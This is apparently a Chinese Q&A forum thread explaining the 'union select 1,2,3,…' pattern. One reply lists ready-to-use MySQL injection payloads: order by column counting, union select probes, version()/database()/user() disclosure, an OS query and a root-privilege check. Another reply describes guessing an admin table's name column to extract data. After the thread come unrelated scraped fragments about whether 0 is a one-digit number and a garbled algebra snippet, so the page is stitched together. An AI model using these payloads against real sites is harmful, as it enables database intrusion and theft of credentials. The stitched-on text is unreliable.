1樓：陽光上的橋
例如查詢id最後一位為1的資料：
select * from tab where right(id,1)=1
原理是利用數字與字串的自動轉換，獲得id的末尾數值。
union select 1,2,3,4,5,6,7,8,9,10,11 from 的意思？
2樓：墨汁諾
通常from後面都會有一個表名，比如 admin id user之類的union select 1,2,3,4,5,6,7,8,9,10,11 from。
暴欄位長度
order by num/*
匹配欄位
and 1=1 union select 1,2,3,4,5…….n/*
暴欄位位置
and 1=2 union select 1,2,3,4,5…..n/*
利用內建函式暴資料庫資訊
version() database() user()
不用猜解可用欄位暴資料庫資訊(有些**不適用):
and 1=2 union all select version() /*
and 1=2 union all select database() /*
and 1=2 union all select user() /*
作業系統資訊：
and 1=2 union all select @@global.version_compile_os from mysql.user /*
資料庫許可權：
and ord(mid(user(),1,1))=114 /* 返回正常說明為root
3樓：匿名使用者
採納的那個回答沒解決問題吧。題主問的應該是sql注入的時候這個用法，直接在http請求裡面加union語句這種。1,2,3,4後面肯定跟from，一般來說，效果是from當前欄位對應的伺服器端的一張表。
許可權肯定有限制，所以要看返回的數字才能確定哪一列可以回顯到客戶端，而不是隨便哪一列都能利用的。比如伺服器返回3，說明第3列可以回顯。然後再在相應列進一步猜解具體的資料，不一定非得是現成的函式，使用者名稱和密碼這種也可能猜到，比如我猜可以select 1,2，name,4 from admin，說不定就返回伺服器中一個叫admin的表的name中的資料了。
利用的具體方法看經驗了，專業滲透測試人員或者黑客的手法會很豐富。
4樓：匿名使用者
首先解釋一下select後面幾個數
字的意思，1，2，3，4...，這裡的幾個數字純粹是湊數的，湊夠和union
關鍵字前面的那個表的欄位數一樣，不然沒法拼接成一個表。在sql注入的時候，在將相應位置替換成你想獲得的資料，查詢結果後面就會顯示出來。如下圖最後一行：
最小的一位數是，最小的一位數是什麼？？
最小一位數0 思考之一 為什麼要把0劃歸自然數.從歷史上看,國內外數學界對於0是不是自然數歷來有兩種觀點 一種認為0是自然數,另一種認為0不是自然數.建國以來,我國的中小學教材一直規定自然數不包括0.目前,國外的數學界大部分都規定0是自然數.為了方便於國際交流,1993年頒佈的 中華人民共和國國家標...
最小的一位數是1還是，最小的一位數是1還是0？
答案其實是1 最小的一位數是1還是0？要回答這個問題須從 位數 和 數位 說起。位數是指一個整數所佔有數位的個數。把佔有一個數位的數叫一位數，佔有兩個數位的數叫兩位數 例如，12345是五位數，因為它佔有五個數位，這裡 0 佔有數位。0能不能稱為一位數呢？不能。因為記數法裡有個規定 一個數的最高位不...
在五位數12985的某一位數字前面再插入同樣的數字 例如
129855 129885 129985 122985 112985 全部列舉完畢了，在5個數的前面插入一個相同的數字。數學 理工學科 學習 用逆推法 先去分母，兩邊同乘4 1 x 1 y 1 z 又因為x y z 1得4 12xzy 8zy 8xz 8xy 6 3zy 3xy 3zx 6zxy 6...